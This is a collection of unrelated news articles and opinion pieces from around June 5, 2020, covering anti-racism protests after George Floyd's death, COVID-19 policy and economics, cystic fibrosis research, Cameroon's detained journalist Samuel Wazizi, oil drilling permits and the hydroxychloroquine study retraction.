Organizers had asked police to stay away and said they had not invited Mayor Jim Watson, who had indicated he would attend. Police were present throughout the downtown and mostly watched from a distance.

In Toronto, officers also generally kept a low profile as more than 1,000 people walked peacefully in blazing sunshine chanting, "I can't breathe," "No justice, no peace," or "Hands up, don't shoot." Others held signs reading, "Racism is a pandemic, too" or "Silence is violence."

They later massed in a sudden downpour, kneeling and raising clenched right fists, with most then dispersing.

Reports and video of problematic police encounters with minorities in Canada have surfaced recently.

"We're fed up. We need change and we do not trust police," said protester, John Coleman. "Black lives really matter."

Toronto police Chief Mark Saunders and other uniformed officers met a group of protesters, then Saunders removed his hat and took a knee at a downtown intersection near police headquarters.

"We see you and we are listening," Saunders, who is black, tweeted after the meeting. "We have to all stay in this together to make change."

Ontario Premier Doug Ford praised Saunders' action, calling it "true leadership."

Protesters raise their fists at an anti-racism demonstration reflecting anger at the police killings of black people, in Toronto on Friday, June 5, 2020. THE CANADIAN PRESS/Nathan Denette

Several businesses on downtown Yonge Street and area boarded up their windows in anticipation of Friday's protest and others planned for the city over the weekend. The landmark Eaton Centre closed until Monday as a precaution.

"Even though Toronto boarded up everything  they must have thought that we were going to be on some crazy hooligan stuff that they only show on the news  but we actually came out here for positivity to get our message out," said participant, Blake Gabriel.

Another protester, Junae Watson, said she wanted to show black people are equal to other races.

"People have this conception that Canada doesn't have a lot of racism, which isn't true," Watson said.

Hundreds also gathered at city hall in Barrie, Ont., to call for justice for black people.

In Vancouver, thousands rallied at the Olympic cauldron downtown for a peaceful protest aimed at addressing racism in Canada's school system.

"We want people to understand what's going on here," said Jacob Callender-Prasad, the protest's lead organizer.

"It's not just a myth. Canada does have large racial inequality."

People take part in an anti-racism rally in Ottawa, Friday, June 5, 2020. THE CANADIAN PRESS/Adrian Wyld

Callender-Prasad said he believes some protests have turned violent in the United States because citizens have reached a breaking point. He hopes the protests in Canada will help stop that feeling.

Trinitee Okoye, 15, shared her experiences as a black girl in the American and Canadian school systems.

"There's a lot of racism in Vancouver. No one really knew about black culture and what not to say and how to act," she said. "But in the United States, they were doing it intentionally."

There were similar rallies in Edmonton, Regina and Winnipeg.

Earlier Friday, Trudeau called the videos and reports about confrontations with police across Canada in recent weeks "disturbing." They include an encounter between an Indigenous man and the RCMP in Nunavut.

Trudeau said the issue of systemic racism in policing was long-standing and needed addressing.

"Far too many Canadians feel fear and anxiety at the sight of law enforcement officers," he said. "Over the past weeks, we've seen a large number of Canadians suddenly awaken to the fact that the discrimination that is a lived reality for far too many of our fellow citizens is something that needs to end."

Change, he said, needed to start immediately but would not happen overnight.

In Washington, U.S. President Donald Trump said everyone deserves equal treatment at the hands of law enforcement.

"Hopefully George (Floyd) is looking down right now and saying, 'This is a great thing that's happening for our country.' It's a great day for him, it's a great day for everybody.''

 With files from Nick Wells in Vancouver

This report by The Canadian Press was first published June 5, 2020.
To be involved is normal. To be detached is also normal.

On June 1, 2020, Michael Jordan got himself involved in the almost global call for justice over the recent death of an African American while under police custody in Minneapolis, Minnesota, USA.

Coming no less from the Goat (Greatest Of All Time), thats a three-point shot for humanity.

Jordan issued a strongly worded statement condemning the death of George Floyd caused by a policemans knee pitilessly planted in Floyds neck.

Floyd, already wrestled down on the pavement and with his hands locked in cuffs, was pleading he couldnt breathe. But officer Derek Chauvin was as deaf as a lamppost.

Chauvins knee was in Floyds neck for eight minutes and 46 seconds and, all this time, the three other cops at the scene practically did nothing. Floyd was already unconscious and virtually brain dead when paramedics arrived.

Chauvin now faces second-degree murder and manslaughter charges. His three fellow cops, similarly fired like Chauvin, may similarly face murder raps.

Floyds alleged crime?

He used a 20 dollar counterfeit bill in a grocery store.

I am deeply saddened, truly pained and plain angry, said Jordan.

Who isnt?

This is total madness. Plain insane all the way.

You are four cops already in custody of a single person suspected of spending a mere 20-dollar bill deemed fake, and you go that brutally far as

though you had just captured Bin Ladens deputywarranting the use of unnecessary force in your deranged minds?

I see and feel everyones pain, outrage and frustration, said Jordan. I stand with those who are calling out the ingrained racism and violence toward people of color in our country. We have had enough.

Racism again.

Listen to President Mugabe of Zimbabwe: Racism will never end as long as those who dont pay their bills are blacklisted and not whitelisted.

From Jordan: Floyds life has been brutally and senselessly taken through an act of racism...

And so, is America still your land of milk and honey?

Not anymore.

Your America is now the land of muck and phony.
Cystic fibrosis is the most frequent severe inherited disorder worldwide. Every year, hundreds of families are confronted with this diagnosis - and to date, there is no cure for this disease that mainly affects the respiratory system. Besides supportive treatments, a lung transplant is often the only option to save a patient's live. Researchers of the Universities of Munster and Regensburg have now discovered a novel disease that might lead to a better understanding of cystic fibrosis and new treatment options in the future. The results have been published in the scientific journal Journal of Medical Genetics.

The cause of cystic fibrosis are mutations in the cystic fibrosis transmembrane conductor regulator gene (CFTR). This gene contains the blueprint for a chloride channel on the surface of cells in the body. Normally, this channel mediates the accumulation of salt and fluids on the surface of the airways thereby leading to a continuous cleaning of the airways. Defects in the CFTR channel prevent the transport of chloride ions and thus the humidification of the respiratory tract. As a result, the airways of affected individuals literally get plugged by a thickened, viscous mucus that leads to airway obstruction - patients are at the risk of suffocating.

At the University of Munster, the lab of Prof. Thorsten Marquardt has now discovered a new disease that is caused by defects in another chloride channel, TMEM16A. This channel is also present on the surface of airway cells. In cooperation with the lab of Prof. Karl Kunzelmann of the University of Regensburg, the researchers evaluated the cellular effects of the disorder that is caused by a total loss of TMEM16A function. Surprisingly, they discovered that not only TMEM16A but also CFTR is not functional in these patients. Excitingly, this has the potential to improve the treatment of patients suffering from cystic fibrosis.

"We were astonished that children with TMEM16A deficiency don't have any respiratory symptoms at all. A loss of CFTR function due to lack of TMEM16A does not lead to clinincal symptoms of cystic fibrosis in these kids", states Dr. Julien Park, first author and researcher at the Marquardt lab at the Department of General Pediatrics at the University Hospital Munster. Similarly, the group of Prof. Karl Kunzelmann found in a mouse model that a double knock out of CFTR and TMEM16A does not develop lung disease.

Taken together, these results raise an intriguing question: Could the pharmacological inhibition of TMEM16A improve the respiratory symptoms of patients with cystic fibrosis? A significant reduction of mucus production and secretion as a consequence of TMEM16A inhibition has previously been shown under laboratory conditions. The researchers want to study this approach further in the future: "As a next step, we are planning clinical trials to evaluate a treatment of cystic fibrosis with TMEM16A inhibitors", states Karl Kunzelmann.

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China has urged its travellers not to visit Australia over claims of widespread racism in the wake of the coronavirus.

The Chinese Ministry of Culture and Tourism said in a statement on Friday that 'Asian people' were being targeted with racial discrimination and violence.

'Due to the impact of the COVID-19 pandemic, racial discrimination and violence against Chinese and Asian people in Australia have seen a significant increase,' the statement said.

China has urged its travellers not to visit Australia over claims of widespread racism in the wake of the coronavirus

The Chinese Ministry of Culture and Tourism said in a statement on Friday that 'Asian people' were being targeted with racial discrimination and violence (pictured, Chinese president Xi Jinping)

'The Ministry of Culture and Tourism reminds Chinese tourists to enhance their safety awareness and do not travel to Australia.'

Asians of various backgrounds have said they have been harassed since the outbreak of the novel coronavirus, including in the United States.

China issued a warning to tourists traveling there earlier this year after some said they were mistreated in connection with the outbreak.

Incidents involving racism have made headlines in Australian media over the last few months.

An irate woman screamed racist abuse at Telstra workers and told them to 'go back to China' after they asked her questions to ensure coronavirus safety in April.

Video footage showed the shopper scream at the floor manager inside the store at Miranda, in Sydney's south.

Another commuter was filmed hurling abuse at a passenger, calling him a 'disease carrying motherf**ker.'

A Filipino family living in Port Macquarie, on the New South Wales north coast, was delivered a hate-filled letter telling them to leave the country.

'The Ministry of Culture and Tourism reminds Chinese tourists to enhance their safety awareness and do not travel to Australia,' the statement read

A Filipino family living in Port Macquarie, on the New South Wales north coast, was delivered a hate-filled letter telling them to leave the country

'Take your f**king disease with you, you un-Australian c**ts,' the letter read.

At the time, Prime Minister Scott Morrison publicly addressed the incidents.

'It was the Chinese Australian community that actually protected Australia so early on in this virus outbreak around the world,' he said.

'Sure the virus started in Wuhan, in China, that's what happened, that's just a fact.

'But that doesn't mean that this was, it has any nationalistic, or or any other sort of characteristics to it.

'That's just where it started.'
Three people were killed and seven were wounded in a stabbing spree at a supermarket in rural south-eastern China, police have said Friday.

The suspected attacker, a 35-year-old man, was arrested shortly after the incident took place at about 9:40pm local time Thursday in Putian city of Fujian province, said police without specifying the kind of weapon used.

The incident came just hours after 39 pupils and staff were wounded in a knife attack at a school in the country.

Three people were killed and seven wounded in a stabbing spree at a supermarket in rural southeast China, police said Friday. The pictures above released by Chinese media reportedly show the scene of the incident that took place late Thursday in Xianyou county, Putian city

The suspected attacker, a 35-year-old man, was arrested shortly after the incident late Thursday in Putian of Fujian province, said police without specifying the kind of weapon used

The stabbing spree took place late Thursday in Xianyou county, Putian city of Fujian province

Two people died on the scene while the other was pronounced dead in hospital. The injured seven were in stable condition in hospital, according to a police statement.

The alleged attacker is originally from Guizhou province of south-western China.

An investigation for the incident is ongoing.

Earlier yesterday, 39 pupils and staff were wounded in a knife attack at a rural primary school in southern China's Guangxi region.

The attacker, reportedly a 50-year-old security guard at the school, was apprehended.

At least 39 students and members of staff have been injured in a knife attack at a kindergarten in south China . Social media footage show children with bandages walking out of the school

All injured staff and students were rushed to hospital for treatment, according to an official notice released by local government. No one is in life-threatening condition.

The school principal and another security guard were the only adults injured in the attack and were taken to hospital in critical condition.

Meanwhile 37 students suffered injuries of varying degrees with at least one in a serious condition.

China's Ministry of Education said in a statement today that they had sent officials from Beijing to work with Guangxi police on the investigation.

'Other provinces must take this as a warning, and earnestly establish the principles of safety first, life first,' the notice read.

Violent knife crime is not uncommon in China, where firearms are strictly controlled, with a number of similar attacks at schools in recent years.

All injured staff and students were rushed to hospital for treatment, according to an official notice released by local government. No one is said to be in life-threatening condition
Manila, June 5 : The Philippines government has dismissed a UN human rights report which had claimed that the country had acted with impunity during its war on drugs, as "unfounded".

The UN High Commissioner for Human Rights Michelle Bachelet said the report found "deep-seated impunity for serious human rights violations, and victims have been deprived of justice for the killings of their loved ones. Their testimonies are heartbreaking", reports Efe news.

The report said President Rodrigo Duterte's tough anti-drugs campaign had led to human rights abuses including "credible accusations of extrajudicial killings".

In response, presidential spokesman Harry Roque said on Thursday that impunity had no place in the Philippines.

"Law enforcers operate on strict protocols and transgressors of the law are made accountable," he said in a statement.

The UN report also highlighted the issue of official language used by Duterte in the implementation of his war on drugs, noting the use of vocabulary such as "neutralization".

"Such ill-defined and ominous language, coupled with repeated verbal encouragement by the highest level of State officials to use lethal force, may have emboldened police to treat the circular as permission to kill," the report said.

Roque dismissed the accusations.

"We remain a nation that takes pride in protecting our people's rights and freedoms, among which is the freedom of expression," he said.

According to the UN, at least 8,633 people have been killed since the Philippines government launched its anti-drug campaign, while rights groups claim the tolls is more than 12,000.

It added that among those killed between 2014-19 were 248 human rights defenders, social leaders, journalists, lawyers and union members.
The pandemic, which has changed the way millions of people work, is also starting to change the way they save  and not in a good way.

Some 12% of employers have suspended matching contributions to their 401(k) plans, and an additional 23% were planning to cut their match or were considering it, according to a survey conducted in late April by Willis Towers Watson, a human-resources consulting firm. A separate survey by the Plan Sponsor Council of America found that nearly 22% of companies with 1,000 or more employees are suspending or reducing matching contributions to 401(k) plans. Companies in hard-hit industries, such as retail and travel, were more likely to suspend contributions to employees retirement plans.

How quickly matches are restored will depend on how fast the economy recovers, but many companies hope the suspension will last only a few months, says Robyn Credico, defined-contribution practice leader for Willis Towers Watson. I think theres a lot of belief that by the last quarter of this year or early next year, things will improve, she says.

Although a company match provides a great incentive to contribute, dont use the loss of your match as an excuse to stop saving, Credico says. Instead, if you can afford it, try to contribute a little more to make up the difference. With or without a match, she says, your retirement needs arent going to change.
Two New Orleans universities, the Roman Catholic Archdiocese of New Orleans and a government contractor are defendants in a whistleblower lawsuit alleging fraud involving more than $100 million in Hurricane Katrina aid.

The 2016 federal lawsuit was unsealed on June 3 by the U.S. District Court in New Orleans. Katrina struck in 2005, causing extensive damage in Mississippi and Louisiana.

Federal court records show one defendant, Xavier University, has reached a settlement. An attorney for the university confirmed that the settlement included a payment of $12 million.

The suit alleges that false claims resulted in millions of dollars for projects at Xavier and Dillard universities, and for an archdiocese school.

The lawsuit was filed by an employee of the contractor, AECOM. The company denied wrongdoing and vowed to vigorously defend the work it did after the storm. The U.S. Justice Department joined the suit last week.

Its disappointing that 15 years after Hurricane Katrina, the Federal Government wants to claw back funds from educational institutions that endured so much damage from the impact of the storm, the contractors statement said. AECOM deployed immediately to New Orleans after the hurricane in 2005 and worked side-by-side with its residents and institutions to help rebuild the city and get students back into school.

The archdiocese, which has filed for bankruptcy reorganization amid numerous lawsuits involving sexual abuse by priests, also denied wrongdoing and noted that the suit was filed more than a decade after the storm.

Every dollar of FEMA funds received has gone back into the restoration of parish, school, and other properties to serve the people of the Greater New Orleans community, a statement from the archdiocese said. We deny the allegation that the Archdiocese of New Orleans knowingly conspired to submit false information. We have cooperated with the Federal Governments investigation and will continue to work with them as we resolve this claim.

Among the lawsuits allegations is that Xavier received $6.6 million from the Federal Emergency Management Agency based on the misrepresentation that Katrina had severely damaged the gymnasiums concrete, floating slab foundation when, in fact, the building had no such foundation. Millions more went to other projects based on misrepresentations, the suit alleges.

Xaviers attorney, James Garner, declined to comment on specifics in the lawsuit but stressed that the federal government relied heavily on AECOM to handle applications for aid.

Garner noted the strong record of Xavier, a historically black university, in sending African American students to medical schools. Doing that is best served by resolving this and moving ahead with educating people, he said.

The suit alleges that Dillard received millions for inflated estimates of building damage.

Dillard, also a historically black university, noted in an emailed statement that the federal government, while intervening in the suit, is not pursuing claims against Dillard. We will refrain from commenting further until we receive additional guidance from the court and DOJ regarding the conditions of the seal, the statement said.

Katrina struck the Gulf Coast on Aug. 29, 2005. The storm has been blamed for as many as 1,800 deaths. Levee breaches in New Orleans led to catastrophic flooding, including in parts of the city that are home to Xavier and Dillard. There have been numerous disputes over government payouts for damages over the years.

Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.

Topics Lawsuits Education Universities
FILE PHOTO: Shoppers wearing protective face masks, following an outbreak of the coronavirus disease, are seen at a supermarket in Tokyo, Japan

TOKYO (Reuters) - Japan's first quarter economic contraction was likely smaller than initially estimated, a Reuters poll showed, thanks to stronger business spending although the country is still expected to slide deeper into recession this year.

Analysts predict the economy is on course for its worst postwar slump in the current quarter as the coronavirus outbreak forced people to stay at home and businesses to close globally.

Japan's Cabinet Office will release revised GDP data at 8:50 a.m. on June 8, Monday, Japan time (2350 GMT on June 7).

The world's third-biggest economy was forecast to have shrunk at an annualised 2.1% in January-March, the poll of 16 analysts showed, less than the 3.4% contraction in preliminary estimates.

That would translate into a fall of 0.5% from the previous quarter after the initial reading of a 0.9% decline.

The poll showed capital expenditure likely grew 1.4% for the quarter, revised up from a 0.5% decline in the initial estimate.

"There is no need to change our views that the economy is in an extremely severe situation. A series of economic indicators in April so far have shown rapid deterioration," said Yoshiki Shinke, chief economist at Dai-ichi Life Research Institute.

"Corporate earnings have also worsened rapidly and uncertainty over the outlook has grown. There is a high chance that firms will refrain from spending."

Core machinery orders, due on Wednesday, likely tumbled 8.6% in April from the previous month, the biggest fall in five months.

Compared with a year earlier, core orders, a highly volatile data series regarded as a leading indicator of capital spending, likely fell 14.0%.

"We expect manufacturers will delay their spending on rapid falls in foreign demand led by the global economic deterioration," said Yusuke Shimoda, senior economist Japan Research Institute.

The poll also found Japan's current account surplus likely shrank to 480 billion yen ($4.40 billion) in April from 1.97 trillion yen in March, as the pandemic hit exports.

Story continues

The Bank of Japan's corporate goods prices index (CGPI) likely fell 2.4% from a year earlier in May, the fastest pace of decline since October 2016, worrying signs that the country may return to deflation.

From the previous month, CGPI, which measures the price companies charge each other for their goods and services, was seen down 0.3% in May after a 1.5% fall in April.

($1 = 109.1100 yen)

(Reporting by Kaori Kaneko; Editing by Sam Holmes)
Spanish porn star Nacho Vidal is under investigation for manslaughter, after a man died during a ceremony involving toad venom.

Vidal was arrested on May 29 along with others, CNN quoted his lawyer David Salvador. The trio has been arrested on suspicion of manslaughter after an 11-month investigation. They have been released provisionally even as the probe is underway.

The identities of the other two have not been revealed. Vidal's lawyer Salvador has said that it was a tragic accident and that his client was not responsible. He further said that the deceased had used toad venom before also and wanted to try it again. The incident took place nearly a year ago, in July 2019 near Valencia in Spain.

The person died after inhaling venomous vapors from the "Bufo alvarius toad."

Also known as the Colorado River toad or the Sonoran Desert toad, the amphibian releases a venom called 5-MeO-DMT, which is known to have hallucinogenic effects, according to the Addiction Center website.

However, Salvador denied that his client took part in regular rituals. He said Vidal had some friends who knew how it worked and he had taken it a few times. 46-year-old Vidal has appeared in over 10,000 scenes in a 26-year-long career in porn.

Vidal, aged 46, has appeared in at least 10,000 scenes, in a porn career spanning 26 years, according to his website.
Looks like the lockdown period has proven lucky for a few Tollywood stars as they gear up for engagement and wedding. As per reports, one more celebrity from the tinsel town is all set to get married. Following Rana Daggubati, Dil Raju, and Nikhil Siddharth, actress Maadhavi Latha is said to have a wedding on the cards, thanks to the speculations around her recent Facebook post.

In the post shared by the actress, she wrote, "After several months am very very happy New Life Started...... miracles happened. As i believe miracles always.....very very very happy.....Will announce soon." Fans, who are eagerly waiting for the big announcement, are speculating that the actress might get married soon. Many fans congratulated the actress and wished her happiness throughout her life, while others asked Maadhavi if the announcement has anything to do with her marriage. Well, we have our fingers crossed for the big announcement, which the actress is going to make soon.

On an interesting note, recently, the actress invited new controversies with her social media post pertaining to the lockdown marriages. She posted, "Why to marry so hurriedly wearing masks? Are they not confident of their love interests? Can't they wait till the lockdown is over?"

When a few netizens asked her if she was jabbing at actor Nikhil's marriage, she skipped the topic saying, "I don't know." Maadhavi also stated that while the poor and middle-class people are sitting at their homes, the film celebrities should not be going against the norms in order to marry.

Talking about her career, Maadhavi started off her journey with the 2007 film Athidhi, starring Mahesh Babu and Amrita Rao. She was last seen in the 2015 Tamil film Aambala directed by Sundar C. The action-comedy film featured Vishal and Hansika Motwani in the lead roles.

Saaho Director Sujeeth And Pravallika To Get Engaged On June 10th

Rana Daggubati And Miheeka Bajaj Get Engaged; Here Are The Adorable Pictures!
Source: Xinhua| 2020-06-05 16:10:50|Editor: huaxia

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HANOI, June 5 (Xinhua) -- Vietnam imported nearly 2.6 million tons of plastic worth roughly 3.3 billion U.S. dollars in the first five months of this year, posting a year-on-year rise of 3.3 percent in volume and decrease of 10.7 percent in value, according to its Ministry of Industry and Trade on Friday.

Between January and May, the country spent nearly 2.8 billion U.S. dollars importing plastic products, up 7.6 percent from the same period last year, according to the ministry.

Its largest suppliers of plastic and plastics products included China, South Korea, Saudi Arabia and the United States, according to the General Department of Vietnam Customs.

In 2019, Vietnam imported nearly 6.4 million tons of plastic totaling more than 9 billion U.S. dollars, up 14 percent and down 0.8 percent respectively from the previous year respectively. Enditem
Wales not going to just rush into an immediate decision on face coverings after English policy change

This article is old - Published: Friday, Jun 5th, 2020

Doctors leaders are calling on Welsh Government to change their position on face coverings, saying that they should be worn in areas where people cannot socially distance.

The call comes after the UK Government said all people traveling on public transport in England should wear a face covering from June 15.

Last month Wales Chief Medical Officer said the wearing of face coverings should be a personal choice and not mandatory.

BMA Cymru Wales council chair, Dr David Bailey said today: BMA Cymru Wales advocates the wearing of face coverings by the public in areas where they cannot socially distance.

There still remains a considerable risk of infection, and emerging evidence has shown that if mouths and noses are covered when people are in areas where they cannot socially distance, it may help in in controlling the spread of infection of COVID-19 and therefore save lives.

BMA Cymru Wales is calling on Welsh Government to change their position immediately, to lessen the risk of the public spreading the virus.

Further, we are calling on Welsh Government to ensure a supply of face coverings for the public, similar to practices in other nations, as there will be circumstances where many individuals may not have the capacity to make them or may be unable to procure them when needed.

It is sensible that these face coverings are not the same as the medical-grade masks which must be reserved for frontline staff whose job is dependent upon having them for adequate protection.

The public must be informed and educated on how and when to use face coverings properly and it must be made clear to the public that this does not reduce the need and importance of continued adherence to social distancing and proper hand hygiene.

However speaking at todays Welsh Government daily briefing the First Minister responded to a question on the topic from the BBC saying, The context for face coverings has changed because of an announcement made yesterday in England about mandatory use of face masks on public transport.

That will not come in until the 15th of June. That gives us a short number of days in order to consider the position here in Wales recognising that changed context.

Ive met today with the health minister and with the chief medical officer to consider this matter. There are a whole series of detailed questions which we need to explore with our colleagues in England if this is to be mandatory.

What will be the position of people who have asthmatic conditions? If people are making long journeys by train from Edinburgh to Cardiff, for example, what happens to people who need to eat a sandwich and have a drink? What will be the case with the deaf community whove been in contact with us expressing their concerns because they rely on lip reading as the way in which they understand the world around them?

Were not going to just rush into an immediate decision because we dont need to. We will continue conversations over the weekend we will make a definitive statement in the first part of next week recognising the changed context in which advice now has to be given.

Later the First Minister added, The context changes because if in England it is mandatory to use face masks while on public transport, trains and roads between North and South Wales weave in and out of the board all the time. In a sheer practical sense, we have to think through whether having separate regimes is a possibility, when you can be in a train that start in Wales, goes into England comes back into work goes back into England comes back into Wales. Is it in a practical sense possible to have different regimes?

We pointed out to the First Minister that use of public face masks to help combat SARS or MERS, and now Covid-19 is not new and that the range of questions and scenarios given were not new either. We asked if it was best to bring in such measures sooner and roll back if required, rather than wait for an arbitrary time period from England in ten days time.

The First Minister replied, I think those are in many ways answers more for the UK Government than for me, because they have decided to introduce it on the 15th of June. So they could probably better explain to you why they have chosen that date.

I wish that wed had a chance to explore this with the UK Government before they made the announcement, that would have allowed us to have some answers to the questions that Ive raised today, before the event rather than after the event. But while on the bulk of issues, we continue to be able to have discussion and cooperation in advance of decision making in a small number of cases, we hear about it only after the decision has been made.

We had no advance notice from the Department of Transport in England, that this announcement was to be made. Were going to have to use the time we now have to find out from them the extent to which they have got answers to these questions, in advance of making the decision, or whether its a matter of making the headline, and then worrying about the detail afterwards.

Top pic: Some official guidance from England on how to fashion a face covering.
Some 300 days after popular Pidgin journalist Samuel Wazizi was arrested and held incommunicado by police in the south-western city of Buea, his alleged torture and death were announced in the Cameroonian media on Wednesday.

Wazizi's death was announced on Equinoxe television in the economic capital Douala, after reporting that it had received confirmation from a top military aide in Yaounde, the administrative capital.

He was arrested by police and later taken back to the military barracks. Since he was transferred, we haven't had any contact with him, says Elvis Tsembom Ndi, a secretary of the regional Cameroon Association of English-Speaking Journalists (CAMASEJ).

Samuel Ajiekah Abuwe, who went by the name Wazizi, was a popular news presenter at CMTV in Buea, the capital of the anglophone South West region.

He had an amazing programme over the radio called Hala ya matter in Pidgin; his programme was kind of satirical as he brought out the ills and gave out local news, says Feka Parchibell, the head of an NGO called Hope for Vulnerables and Orphans (HOVO) in Kambe, based in the anglophone North West region.

So many people listened to it to laugh and at the same time get some salient information on the happenings in the community, Parchibell told RFI.

Peaceful protests in the English-speaking North West and South West regions of Cameroon began in 2016.

Anglophones demonstrated against the perceived marginalization by the majority French-speaking central government, however, protests erupted into violence after the government responded with a military crackdown.

Separatists then armed themselves in a crisis where innocent civilians in the two regions have been caught in the crossfire.

He tried to help his community

Wazizi was working in Buea, one of the restive regions in Cameroon. After his arrest, we got reports that he had links with separatist fighters, but we weren't able to confirm this, says journalist Ndi.

Parchibell met Wazizi in 2018 when he came to a HOVO press conference about the lack of education for Anglophone children in the region. Her organisation primarily helps women and girls. Wazizi interviewed her about the work HOVO does and found out that she regularly went to the bush to help people fleeing the violence.

He told her that the bush in Muea, where he was from, had Internally Displaced People (IDPs) that no humanitarians had ever visited or tried to help.

He was very hard-working and he owned one of the bush areas that served as a home to the IDPs, she says.

They had planned to go to the bush around Muea right before he was arrested. He gave no indication that he thought he was being pursued by the military, she said.

Truth is, with this crisis, no one is actually safe because when you praise the military or the Amba boys, the other party feels you are against them, she added, referring to the armed Ambazonian separatists.

He, just like any Cameroonian, talked about the crisis. He wanted the crisis to come to an end, and that's our prayers, says Parchibell.

Although the announcement was made via the media, no official statement has been made about Wazizi's death. RFI contacted both the communications minister and the military press secretary for confirmation, but as of time of publication, has not received any reply.

No corpse has been produceda grey area according to the international media watchdog Committee to Protect Journalists (CPJ). We believe he is still alive, says Ndi, CAMASEJ secretary.

The regional journalist's group had consistently pressed for information to find out where he was being detained.

Wazizi literally disappeared into the system, says Ndi. We were shocked that he was arrested, he had no access to lawyers, to family membersthis is against the criminal procedure code, he says.

Additionally, although he was picked up by police, he, a civilian, was handed over to the military, another inconsistency in the case.

There was no justification for holding him in an army barracks and no excuse for his death, says Arnaud Froger, the head of Paris-based media watchdog Reporters Without Borders (RSF). The murky circumstances surrounding this case must be clarified.

The broadcaster failed to appear at a hearing at Fako High Court in the South West Region on 28 May, prompting his lawyers to fear he was already dead.

Rumours that he had been transferred to the notorious Kondengui prison in Yaounde have not been confirmed. According to comments by lawyer Christopher Ndong to VOA, Wazizi died in a military hospital of wounds inflicted upon him by security forces.

Wazizi, one of many detained journalists

Press organisations are also closely following the cases of Pidgin bloggers and activists Mancho Bibixy, Tsi Conrad, and Thomas Awah Junior. Awah previously worked for for Equinoxe TV, was tried and sentenced along with two other journalists, Tsi Conrad and Mancho Bibixy, on charges relatied to the Anglophone crisis.

A Yaounde chapter member of CAMASEJ , Frank Akam*, had been visiting Bibixy, Conrad and Awah on a regular basis until a riot broke out in Kondengui prison last July.

Awah has been in and out of the hospital and is not well, he told RFI. Bibixy, as of six months ago, was mentally very strong, vocal and continues to reject the charges against him, says Akam.

Wawa Jackson, a former radio journalist with Abakwa FM, was arrested 18 months ago in the North West region for comments he made on his local news Facebook page, Wawanews.

For Wazizi's case, CAMASEJ has been discussing how to bring about an independent investigation, and the media body has contacted the ministry of defense for an official meeting, says Ndi.

Wazizi's forced disappearance leaves a great void in Anglophone Cameroon's media, and in his community.

He was a jovial young man who wanted everyone around to be happy, says Parchibell. He loved his Muea community and was inspiring to many youths.

*Name changed for security reasons
Over the past three weeks, there has been some celebration as oil prices have recovered due to oil companies cutting production and some global demand beginning to return. This is normal. The low extremes of April have created a sense of hope in $30 territory. However, while an $70 per barrel gainfrom -$37 to $33 per barrelis great, we are nowhere near a price to sustain US operations. This is a harsh reality for some. I heard this said just last week, At $50, we had 800 rigs running in the US, right? So if we can get back into the high 40s, we should be close, right?

Wrong.

The fact is, drilling rigs are a real-time indicator of activity. But they are not a leading indicator. For that, drilling permits are a better measure. Now, it is true that permits and drilling rigs do not always move perfectly in sync. But if they are off, it is usually because drilling rigs are being laid down but permits continue to be applied for. After all, it only costs a couple thousand dollars to get a drilling permit, so companies can easily continue to ask for them, even if they may wait a year to drill. In addition, one may not need a new permit if a well is being recompleted. That said, over the past five years, drilling permits have been a relatively consistent leading indicator of rig count and workload, although it can take 3 to 9 months for them to sync up.

So, using public data for WTI price, rig count, and drilling permits from the Texas Railroad Commission, we can examine the trends prior to March of 2020 and the demand destruction of COVID-19 lockdown. In doing so, there is a striking correlation: The data PRIOR to coronavirus shows us that even $55 per barrel was going to lead to a downturn. This graph shows the levels correlated to prices:

From March to October of 2019, WTI prices were trending up nicely, and averaging right at $69 per barrel. During that time and for a couple of following months, US and TX Rig count hung just above 1,000 and 500 respectively. After October of 2018, oil prices took a hit, but then popped back up in a few months and averaged $56 per barrel from June of 2019 to February of 2020. During this time, US rig count trended down and leveled off at 800, while TX rig count leveled off at 400. In short, an average price drop from $69 to $56 (19%), correlated to a 20% drop in rigs. And while the similarity in these numbers is coincidence, the overall trend makes sense.

But now lets examine drilling permit count. When oil prices averaged $69 per barrel, TX was issuing an average of 317 permits per week, and showing a slight downward trend. But after oil prices dropped, the trend down was substantial, and in the six-month period of Sept 19 to Feb 20, the permits leveled off and averaged 209 per week. Oil prices had lost 19%, rig count lost 20%, and permits dropped by 33%.

Unfortunately, it appears that in order to sustain US production and keep people employed, we need to be issuing around 300 permits a week. And this data shows that is questionable, even at $70 per barrel. So, for the hundreds of companies hoping to avoid bankruptcy, and the tens of thousands of workers being furloughed, $35, $45, even $55 per barrel does not signify a return to production.

To be clear, I am very bullish on oil prices at the middle to end of 2021 and forward. And I have gotten more bullish during coronavirus. Why? The industry has seen unprecedented demand destruction during these government lockdowns, and unlike virtually every other industry, has received virtually no support from government. So, as demand returns, there will less capability to fill it. High demand without supply means one thing higher prices. When we consider that many major oil production projects offshore and in other nations have been slowed or stopped over the past couple of years, supply issues will be even more exacerbated.

So, the oil industry will continue to struggle mightily this year, and we will continue to see bankruptcies, shutdowns, and layoffs. However, all of this is going to lead to banner years in 2022 and beyond.

My bold prediction is this: Before the end of 2022, we may see $100 barrel oil again. We just have to make it through to get there.

Ryan Sitton is a professional engineer, the founder of PinnacleART, a global leader is reliability data analysis, author, and Texas Railroad Commissioner. The Railroad Commission of Texas regulates oil and gas production in the state.
New Delhi: Prime Minister Narendra Modi on Friday (June 5) posted wishes on the World Environment Day, urging people to preserve the planets rich biodiversity.

"On #WorldEnvironmentDay, we reiterate our pledge to preserve our planets rich biodiversity. Let us collectively do whatever possible to ensure the flora and fauna with whom we share the Earth thrive. May we leave an even better planet for the coming generations," the Prime Minister wrote on Twitter.

World Environment Day is celebrated on June 5 every year.

Modi also attached the excerpts from his Mann Ki Baat episode, where he talked about the biodiversity, the theme of this World Environment Day. In his address to the nation in the last month's 'Mann Ki Baat', Modi had pitched for saving rainwater, saying the traditional conservation methods are in the form of very simple remedies, and employing these "we can tap the water".

He also urged people to plant trees and make resolutions so that a daily relationship with nature can be forged. Temperature is on the rise, so do not forget to "facilitate water for the birds," he said.
Australian scientists have savaged the international mess over a study of the drug hydroxychloroquine as a disastrous setback in the search for COVID-19 treatments that will scare off patients and undermine trust in good science.

On Friday, the World Health Organisation restarted its trial of hydroxychloroquine after The Lancet medical journal spectacularly retracted a research paper that reported the drug was associated with a 35 per cent increased risk of serious cardiac side effects.

The drug hydroxychloroquine was the subject of the Lancet-published, and subsequently retracted, study. Credit:AP

The studys authors said they could no longer vouch for the veracity of its data, following repeated concerns raised about the methods of the US data collection company Surgisphere.

The Lancet editor, Dr Richard Horton described the fiasco as "a shocking example of research misconduct in the middle of a global health emergency to The Guardian.
